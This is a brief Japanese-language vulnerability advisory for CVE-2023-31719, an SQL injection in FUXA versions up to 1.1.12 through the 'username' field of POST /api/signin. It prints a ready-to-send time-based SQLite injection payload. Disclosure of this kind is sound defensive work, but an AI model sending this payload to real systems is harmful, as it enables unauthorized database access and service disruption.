CVE-2023-31719

エンドポイント /api/signin へのHTTP POSTリクエストを介して、JSONパラメータ "username" にSQLコードを注入することが可能です。

{"username":"test' OR 2891=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ZJMj","password":"test"}

影響を受ける製品名: FUXA

影響を受けるバージョン: <= 1.1.12

問題: SQLインジェクション

説明: エンドポイント /api/signin へのHTTP POSTリクエストを介して、JSONパラメータ "username" にSQLコードを注入することが可能です。